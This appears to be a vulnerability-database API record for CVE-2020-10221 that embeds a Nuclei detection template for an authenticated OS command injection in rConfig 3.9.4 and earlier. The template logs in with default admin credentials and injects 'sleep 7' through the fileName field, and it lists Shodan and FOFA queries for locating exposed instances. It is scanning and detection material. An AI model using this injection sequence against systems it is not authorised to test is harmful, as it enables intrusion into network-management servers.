{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-10221/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-10221/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-10221/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-10221/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-10221/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-10221"},"sightings":{"href":"/api/v1/sightings/cve-2020-10221"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-10221.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2020-10221\n\ninfo:\n  name: rConfig <= 3.9.4 - Authenticated OS Command Injection\n  author: Jayachandran from Securin Labs (https://securin.io)\n  severity: high\n  description: |\n    lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.\n  remediation: |\n    Upgrade rConfig beyond 3.9.4 once a fixed release is available, or restrict access to /lib/ajaxHandlers/ and change default credentials.\n  reference:\n    - https://github.com/advisories/GHSA-hxjm-95v4-6qjj\n    - https://www.exploit-db.com/exploits/48207\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-10221\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2020-10221\n    cwe-id: CWE-78\n    epss-score: 0.80221\n    epss-percentile: 0.996\n    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: rconfig\n    product: rconfig\n    shodan-query: body:\"/html/rconfig\"\n    fofa-query: body=\"/html/rconfig\"\n  tags: cve,cve2020,rconfig,rce,authenticated,intrusive,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /login HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(body), \"rconfig\")'\n          - 'status_code==200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /lib/crud/userprocess.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&userpassword={{password}}\n\n      - |\n        @timeout: 30s\n        POST /lib/ajaxHandlers/ajaxAddTemplate.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        fileName=test%3Bsleep%207%3B\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration_2>=7'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502206642ec9d7df32631824fbc717f10e74c657591b84beb372e76b5f636a1c6e3eb022100af864aac52995c05951fc1b607c5eb922f802094b4d8aa74e110c7e1e69e8b08:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-10221"}